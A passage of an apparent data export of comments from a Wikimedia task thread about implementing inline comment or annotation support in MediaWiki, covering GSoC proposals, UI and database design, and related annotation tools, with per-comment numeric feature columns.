Apparently related with Europeana and funded by the EU. Sounds like open source but after a very few clicks couldn't find sources (busy day etc).",,,1367946207,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-8,,3.0,0.0,1.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,20.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,11.0,13.0,1.0,3.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,4.063291139240507,0.8354430379746836,"Another tool for inspiration? URL

Java backend but ""The Pundit client is a Javascript application based on the Dojo Toolkit URL . It works closely with the Pundit server API, allowing the end-user to annotate any kind of web contents.""

Apparently related with Europeana and funded by the EU. Sounds like open source but after a very few clicks couldn't find sources (busy day etc)."
228161,Implement inline comment support using OKFN annotator,Just a note to say that Anthony Chen has submitted a GSoC proposal related to this project: https://www.mediawiki.org/wiki/User:N3c/GSoC_Proposal,,,1367618047,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,21.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,26.0,5.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.105263157894737,0.8947368421052632,Just a note to say that Anthony Chen has submitted a GSoC proposal related to this project: URL
228155,Implement inline comment support using OKFN annotator,"**ganeshaditya1** wrote:

I seem to have butt into the conversation .. I didn't read the comments yet. 
Apologizes .. 

Anyways keeping with the conversation, since you guys are discussing interfaces, please checkout my prototype

http://adityasastry.in.cp-2.webhostbox.net/index.php?title=Special:BlankPage

Instead of the in-page along with article display, I would propose a movable popout as the readability might suffer when you try to squeeze in the comments interface into the article.",,,1367180341,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,5.0,1.0,5.0,14.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,4.0,0.0,0.0,4.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,8.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,7.0,14.0,1.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,4.25,0.6904761904761905,"**ganeshaditya1** wrote:

I seem to have butt into the conversation .. I didn't read the comments yet. 
Apologizes .. 

Anyways keeping with the conversation, since you guys are discussing interfaces, please checkout my prototype

URL

Instead of the in-page along with article display, I would propose a movable popout as the readability might suffer when you try to squeeze in the comments interface into the article."
228151,Implement inline comment support using OKFN annotator,"(In reply to comment #23)
> Hey,
> My name is Aditya and am interested in pursuing this as my GSOC project.

Thank you for your interest.

> Implementing this for some other theme is very easy. We just need to add a
> DIV in the theme's php file.

Note that this is being proposed as an extension.  Thus, you should not need to modify the core skin definition.",,,1367162727,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,4.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,2.0,0.0,6.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,6.0,12.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4791666666666665,0.7708333333333334,"(In reply to comment #23)
QUOTE
QUOTE

Thank you for your interest.

QUOTE
QUOTE

Note that this is being proposed as an extension.  Thus, you should not need to modify the core skin definition."
228146,Implement inline comment support using OKFN annotator,"**ganeshaditya1** wrote:


2)Databases
Allow me to make a very bold statement here that  json/xml are ill suited for a project of this nature.
Justification:
1) There are many helper classes already written for MediaWiki like sanitizer class(which depends on the databases) load balancer class(Incase one wants to distribute the comments data) and few other classes which implement functionality which is critically needed. Incase one wants to go the XML/JSON way one needs to implement them as well.

2) Maintenance will become an issue.

3)When migrating between hosts one needs to manually select the xml/json files and move them around. MYSQL supports one click export and import functionality for all the tables.

I will be making a prototype for databases as well in a couple of days.
And here's my idea. Each article is stored as a WikiText string, so as illustrated by my UI the selected text's starting and ending indexes are caught and the article page name is also caught. These three attributes will be used as indexes into a table ""Comments"" 

When parsing this wikitext, based on the starting and ending indexes the text will be marked and a link will be provided next to it to access the comments as I have shown.

I will be implementing this functionality by tuesday. But for the sake of proposal I will be not using any of the MediaWiki classes for now so you people could test drive it once and based on your feedback I will be making ammendments to my proposal, so please review my work so far :)",,,1367141303,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-10,,1.25,0.0,0.25,2.0,0.25,1.5,0.0,0.0,0.0,0.0,1.75,0.0,0.0,0.0,0.25,3.0,0.25,6.0,9.0,0.0,1.5,0.0,0.0,0.25,0.0,0.25,0.0,0.5,0.25,2.25,0.0,4.25,0.25,0.75,1.25,0.75,0.0,0.0,0.0,0.5,0.0,0.5,0.75,2.5,0.0,0.0,0.0,0.0,0.0,13.75,0.0,1.25,0.0,0.0,0.0,0.0,0.0,0.25,0.25,0.0,0.0,1.0,0.25,0.0,0.0,0.5,0.0,5.25,3.5,6.25,0.75,2.75,7.75,0.0,0.25,0.0,0.0,5.25,0.25,1.0,0.0,5.0,9.0,3.25,0.0,0.5,0.0,5.0,0.0,0.75,2.0,0.75,2.0,0.0,0.0,0.5,4.1294856459330145,0.7285543403964456,"**ganeshaditya1** wrote:


2)Databases
Allow me to make a very bold statement here that  json/xml are ill suited for a project of this nature.
Justification:
1) There are many helper classes already written for MediaWiki like sanitizer class(which depends on the databases) load balancer class(Incase one wants to distribute the comments data) and few other classes which implement functionality which is critically needed. Incase one wants to go the XML/JSON way one needs to implement them as well.

2) Maintenance will become an issue.

3)When migrating between hosts one needs to manually select the xml/json files and move them around. MYSQL supports one click export and import functionality for all the tables.

I will be making a prototype for databases as well in a couple of days.
And here's my idea. Each article is stored as a WikiText string, so as illustrated by my UI the selected text's starting and ending indexes are caught and the article page name is also caught. These three attributes will be used as indexes into a table ""Comments"" 

When parsing this wikitext, based on the starting and ending indexes the text will be marked and a link will be provided next to it to access the comments as I have shown.

I will be implementing this functionality by tuesday. But for the sake of proposal I will be not using any of the MediaWiki classes for now so you people could test drive it once and based on your feedback I will be making ammendments to my proposal, so please review my work so far :)"
228141,Implement inline comment support using OKFN annotator,"**ganeshaditya1** wrote:

Hey,
My name is Aditya and am interested in pursuing this as my GSOC project.

After going through the requirements, leaving apart any additional features required. I have outlined two major aspects of this project.

1) Designing the UI.
2) Designing the database.

I just want to present my perspective on these two things before I start drafting my proposal. I want to hear your opinion on this.

1)UI
When it comes to designing the UI. I think it will be better if we go with a custom build rather than using a ready-made component, cause MediaWiki uses themes and each component should match the theme and a ready made component leaves very little margin for customization ( in-case its a opensource component, then it might as well be modified, but the person designing the theme need to be not only versed with the code of the MediaWiki but as well as the source code of the component, hence I believe a ready made component would constrain the customizability of MediaWiki.

http://adityasastry.in.cp-2.webhostbox.net/index.php?title=Special:BlankPage
This is a UI mockup I came up with. Its a prototype for a prototype :P I have made an implementation of this for VECTOR theme, but I have placed the CSS and JS for this in the common skins shared.css and the JS in vector.js as of for now.
Implementing this for some other theme is very easy. We just need to add a DIV in the theme's php file.",,,1367140627,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-10,,1.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,3.6666666666666665,1.3333333333333333,0.0,0.0,0.3333333333333333,3.6666666666666665,0.0,0.0,0.3333333333333333,0.0,5.0,0.3333333333333333,5.666666666666667,12.333333333333334,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,6.0,1.0,1.6666666666666667,0.6666666666666666,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,13.0,0.6666666666666666,2.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,8.666666666666666,2.3333333333333335,11.333333333333334,0.6666666666666666,2.6666666666666665,12.666666666666666,0.0,0.3333333333333333,0.0,0.0,2.6666666666666665,0.3333333333333333,1.0,0.0,7.0,12.333333333333334,4.666666666666667,0.0,0.0,0.0,7.0,0.0,0.3333333333333333,3.3333333333333335,0.0,3.3333333333333335,0.3333333333333333,0.0,1.0,3.892361111111111,0.6458333333333334,"**ganeshaditya1** wrote:

Hey,
My name is Aditya and am interested in pursuing this as my GSOC project.

After going through the requirements, leaving apart any additional features required. I have outlined two major aspects of this project.

1) Designing the UI.
2) Designing the database.

I just want to present my perspective on these two things before I start drafting my proposal. I want to hear your opinion on this.

1)UI
When it comes to designing the UI. I think it will be better if we go with a custom build rather than using a ready-made component, cause MediaWiki uses themes and each component should match the theme and a ready made component leaves very little margin for customization ( in-case its a opensource component, then it might as well be modified, but the person designing the theme need to be not only versed with the code of the MediaWiki but as well as the source code of the component, hence I believe a ready made component would constrain the customizability of MediaWiki.

URL
This is a UI mockup I came up with. Its a prototype for a prototype :P I have made an implementation of this for VECTOR theme, but I have placed the CSS and JS for this in the common skins shared.css and the JS in vector.js as of for now.
Implementing this for some other theme is very easy. We just need to add a DIV in the theme's php file."
228139,Implement inline comment support using OKFN annotator,"Just a note to say that Richa Jain has submitted a GSoC / OPW proposal related to this report:

https://www.mediawiki.org/wiki/User:Rjain/Proposal-Prototyping-inline-comments

There is another student that has submitted a proposal. I will announce it here as soon as there is a public URL.",,,1366901402,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,9.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,9.0,4.0,19.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,9.0,0.0,0.0,0.0,4.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,3.723404255319149,0.723404255319149,"Just a note to say that Richa Jain has submitted a GSoC / OPW proposal related to this report:

URL

There is another student that has submitted a proposal. I will announce it here as soon as there is a public URL."
228138,Implement inline comment support using OKFN annotator,"Slightly related: http://homes.cs.washington.edu/~travis/reflect/

With old MediaWiki extension code available: http://www.mediawiki.org/wiki/Extension:Reflect

Depends on LiquidThreads, so I don't expect many possibilities of reuse as-is but perhaps you want to have a look.",,,1366507980,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-11,,3.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,13.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.102564102564102,0.9230769230769231,"Slightly related: URL

With old MediaWiki extension code available: URL

Depends on LiquidThreads, so I don't expect many possibilities of reuse as-is but perhaps you want to have a look."
228136,Implement inline comment support using OKFN annotator,"(In reply to comment #19)
> http://okfnlabs.org/annotator/ is maybe (with some adaptations) a relevant
> option.

Also http://hypothes.is (they seem to build on top of okf's annotator: https://github.com/hypothesis/h#development)",,,1365784493,,PHID-USER-uazrhtptdqudzoqfefsc,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,4.0,18.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9642857142857144,0.8214285714285714,"(In reply to comment #19)
QUOTE
QUOTE

Also URL (they seem to build on top of okf's annotator: URL"
228134,Implement inline comment support using OKFN annotator,http://okfnlabs.org/annotator/ is maybe (with some adaptations) a relevant option.,,,1365528421,,PHID-USER-5paybpgtxjrhikdos3p5,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-12,,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,1.0,URL is maybe (with some adaptations) a relevant option.
228131,Implement inline comment support using OKFN annotator,"This is the end result we are after:

Wikipages optionally looking like this (famous examples picked for reference only):

http://gplv3.fsf.org/comments/lgpl-draft-1.html (few comments)

http://gplv3.fsf.org/comments/gplv3-draft-2.html (really busy)


That view would include the possibility to add comments. There is a sandbox to play without registration at

http://www.co-ment.com/see/

And a lite version at https://lite.co-ment.com/


PS: group permissions to be taken into account? Maybe not in a prototype for a GSOC student but I can imagine that the same levels of protection (open, registered users, autoconfirmed...) would be desired. For Wikimedia wikis I would require login, a nice reason to register. But this is going too far...  :)

Also, spam check? Posting external URLs possible or not? Well, this can be endless and again we should define the scope for a GSOC prototype.",,,1364319150,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-14,,0.5,0.0,0.0,1.0,1.0,6.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.5,2.5,0.0,6.0,8.5,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,1.0,1.5,0.0,2.0,2.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,3.5,0.0,0.5,0.0,0.0,0.5,13.5,2.0,0.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,4.0,12.5,0.5,3.0,8.5,0.0,0.5,0.0,0.0,6.0,0.5,0.0,0.0,2.5,8.5,3.5,1.5,0.0,0.0,2.5,0.0,0.0,3.5,0.0,1.5,0.0,0.0,0.0,3.9561728395061726,0.7641203703703703,"This is the end result we are after:

Wikipages optionally looking like this (famous examples picked for reference only):

URL (few comments)

URL (really busy)


That view would include the possibility to add comments. There is a sandbox to play without registration at

URL

And a lite version at URL


PS: group permissions to be taken into account? Maybe not in a prototype for a GSOC student but I can imagine that the same levels of protection (open, registered users, autoconfirmed...) would be desired. For Wikimedia wikis I would require login, a nice reason to register. But this is going too far...  :)

Also, spam check? Posting external URLs possible or not? Well, this can be endless and again we should define the scope for a GSOC prototype."
228127,Implement inline comment support using OKFN annotator,"From where I'm coming from, it has nothing to do with the first option (HTML comments/warnings to editors).

It is meant as a collaboration tool, essentially your second option.  I don't see it as a replacement for long free-form discussion (""this article needs more reliable sources...""/""it has an undue weight is the following areas""...), but a targeted form of collaboration around small areas of the article, like co-ment.

I agree a first pass (on MediaWiki.org, etc.) would be useful regardless, even if not all the code could necessarily be integrated into the permanent solution.  It would allow trying out implementations and UI ideas.

I agree it would probably have to be one interface at first (and maybe ever), and VisualEditor/Parsoid probably makes more sense.

There would probably have to be limited threading, but flat (these people commented on this excerpt in this chronological order) would probably be sufficient.  If it gets too elaborate, talk it to the talk page/Flow.

To keep it concise, I would suggest just the username and date (perhaps auto-formatted to e.g. ""3 hours ago"" for recent comments), rather than a signature.  I suggest it should show IPs for anons.

I'm not envisioning using LQT, since it seems like if we want to integrate at some point, Flow would be a better candidate.

It would be most useful attached to pages, automatically invalidating a comment when an excerpt is altered.  But ""attached to revision"" is probably more realistic for the first implementation.",,,1364318830,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-14,,0.5,0.0,0.0,0.75,0.75,6.0,1.5,0.0,0.0,0.75,1.25,0.75,0.0,0.0,0.25,2.25,0.5,7.25,9.5,0.25,1.5,0.25,0.25,0.5,0.25,0.25,0.0,0.25,0.25,2.0,0.0,4.75,1.0,3.0,2.0,0.25,0.25,0.0,0.25,1.5,0.0,0.0,0.0,3.75,0.0,0.5,0.0,0.0,0.0,9.5,0.0,1.0,0.0,1.25,0.25,0.0,0.0,0.0,0.5,0.0,0.25,1.5,0.0,0.75,0.25,0.0,0.25,4.5,3.0,6.5,1.75,1.75,6.25,0.0,0.0,0.0,0.0,4.75,0.0,0.5,0.0,5.5,9.5,1.75,0.0,1.5,0.0,5.5,0.0,0.5,2.5,0.0,1.75,1.0,0.25,0.5,3.9663194444444443,0.7507330246913579,"From where I'm coming from, it has nothing to do with the first option (HTML comments/warnings to editors).

It is meant as a collaboration tool, essentially your second option.  I don't see it as a replacement for long free-form discussion (""this article needs more reliable sources...""/""it has an undue weight is the following areas""...), but a targeted form of collaboration around small areas of the article, like co-ment.

I agree a first pass (on MediaWiki.org, etc.) would be useful regardless, even if not all the code could necessarily be integrated into the permanent solution.  It would allow trying out implementations and UI ideas.

I agree it would probably have to be one interface at first (and maybe ever), and VisualEditor/Parsoid probably makes more sense.

There would probably have to be limited threading, but flat (these people commented on this excerpt in this chronological order) would probably be sufficient.  If it gets too elaborate, talk it to the talk page/Flow.

To keep it concise, I would suggest just the username and date (perhaps auto-formatted to e.g. ""3 hours ago"" for recent comments), rather than a signature.  I suggest it should show IPs for anons.

I'm not envisioning using LQT, since it seems like if we want to integrate at some point, Flow would be a better candidate.

It would be most useful attached to pages, automatically invalidating a comment when an excerpt is altered.  But ""attached to revision"" is probably more realistic for the first implementation."
228123,Implement inline comment support using OKFN annotator,"So, to my mind there are two options here, and I can't quite understand which is being discussed (it appears both):

* Is this about surfacing to the editors in some nice way post-VisualEditor roll-out the existing comments for editors - I.e. ""<!-- PLEASE DO NOT CHANGE OBAMA'S NAME -->"" at the top of the Barack Obama article on enwiki? If so, great, and this should probably be moved to the VisualEditor product space. This is definitely needed for VE, but I worry that the scope for functionality is not huge, and it might be limiting.

* Is this about building an additional persistent/semi-persistent un-threaded/semi-threaded discussion space on top of pages/revisions(?) like Co-ment and Google Docs? If so, that sounds fun, and something that we're also looking at building for VisualEditor (as part of the real-time collaboration system, potentially), but I wouldn't want us to get in the way of someone building a first pass for GSoC. Doing this for both VE and wikitext at the same would be a really hard UI challenge (they're very different interface concepts), so perhaps limiting it to just one of them for now? Also, there needs to be a really serious discussion about how this would work from a product perspective (threading? how much? how signed? using LQT? why not? where stored? attached to revisions? To pages? to sections of said revision/page? how? etc.) lest it become mammoth. OTOH, this would be very cool as well.

Apologies for the confusion on my part. :-)",,,1364317551,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-14,,0.5,0.5,0.5,1.0,1.25,6.25,1.5,0.0,0.0,0.5,1.25,1.0,0.0,0.0,0.5,1.75,0.0,8.75,11.0,0.5,0.5,0.25,0.0,0.25,0.0,0.0,0.0,0.0,0.25,1.0,0.5,3.5,0.25,1.0,0.5,0.0,0.25,0.0,0.0,0.25,0.0,0.5,0.25,3.25,0.0,0.0,0.0,0.0,0.0,8.75,1.25,1.25,0.0,0.75,0.0,0.0,0.0,0.0,1.0,0.0,0.25,1.5,0.0,0.0,0.0,0.0,0.0,4.0,3.0,8.75,2.5,2.0,7.0,0.0,0.25,0.25,0.0,2.75,0.25,0.5,0.0,3.25,11.0,3.75,4.0,0.5,0.0,3.25,0.0,2.25,1.25,0.5,2.5,0.0,0.0,1.0,3.763627681457537,0.7748677637378782,"So, to my mind there are two options here, and I can't quite understand which is being discussed (it appears both):

* Is this about surfacing to the editors in some nice way post-VisualEditor roll-out the existing comments for editors - I.e. ""<!-- PLEASE DO NOT CHANGE OBAMA'S NAME -->"" at the top of the Barack Obama article on enwiki? If so, great, and this should probably be moved to the VisualEditor product space. This is definitely needed for VE, but I worry that the scope for functionality is not huge, and it might be limiting.

* Is this about building an additional persistent/semi-persistent un-threaded/semi-threaded discussion space on top of pages/revisions(?) like Co-ment and Google Docs? If so, that sounds fun, and something that we're also looking at building for VisualEditor (as part of the real-time collaboration system, potentially), but I wouldn't want us to get in the way of someone building a first pass for GSoC. Doing this for both VE and wikitext at the same would be a really hard UI challenge (they're very different interface concepts), so perhaps limiting it to just one of them for now? Also, there needs to be a really serious discussion about how this would work from a product perspective (threading? how much? how signed? using LQT? why not? where stored? attached to revisions? To pages? to sections of said revision/page? how? etc.) lest it become mammoth. OTOH, this would be very cool as well.

Apologies for the confusion on my part. :-)"
228118,Implement inline comment support using OKFN annotator,"I've linked this bug from https://www.mediawiki.org/w/index.php?title=Feature_map&diff=663816&oldid=566850 where the FSF feature was reported.

(In reply to comment #11)
> Are all annotations willing the be seen publicly by default? We won't go for
> private annotations, but maybe people want to have notes-to-self? Like ToDo
> post-its for editors, or notes for students preparing their school work.

Looks outside the scope of the request. It's indeed the sort of thing the word ""annotation"" is usually used for, so let's not call this proposal ""annotations"" maybe?",,,1364283676,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-14,,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,3.0,13.0,1.0,0.0,10.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,4.0,10.0,3.0,1.0,6.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5074626865671643,0.7611940298507462,"I've linked this bug from URL where the FSF feature was reported.

(In reply to comment #11)
QUOTE
QUOTE
QUOTE

Looks outside the scope of the request. It's indeed the sort of thing the word ""annotation"" is usually used for, so let's not call this proposal ""annotations"" maybe?"
228111,Implement inline comment support using OKFN annotator,"More context:

Commons has annotations in images:
http://commons.wikimedia.org/wiki/Commons:Image_annotations

Munaf mentioned annotations at
http://www.mediawiki.org/wiki/Micro_Design_Improvements#Annotations",,,1364279754,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,False,,,-14,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.2631578947368425,0.7368421052631579,"More context:

Commons has annotations in images:
URL

Munaf mentioned annotations at
URL"
228102,Implement inline comment support using OKFN annotator,"James Forrester has indicated that this may be within the scope of VisualEditor, and that he would be receptive to the feature being implemented as part of GSOC.  I've CCed him.",,,1364277673,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-14,,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,17.0,6.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,19.0,14.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.083333333333333,0.8611111111111112,"James Forrester has indicated that this may be within the scope of VisualEditor, and that he would be receptive to the feature being implemented as part of GSOC.  I've CCed him."
228095,Implement inline comment support using OKFN annotator,"To follow up, I have decided to act as mentor should the project be selected.

I think annotation is a valid term, although comment is also commonly used (e.g. LibreOffice, Google Docs).  co-ment seems to use both terms.

There should probably be some kind of permalink that shows the comment, but initially that might just be a link to the revision (especially if comments aren't preserved on edit in the first implementation).

I don't think they should be shown to readers by default.  It would have to be a toggle of some kind.  It would be nice to make this available in VisualEditor mode (either just that, or both).

The notes to self idea needs further thought.  I see the primary use of the extension as collaborative work, but then again people do use userpage for drafts too.

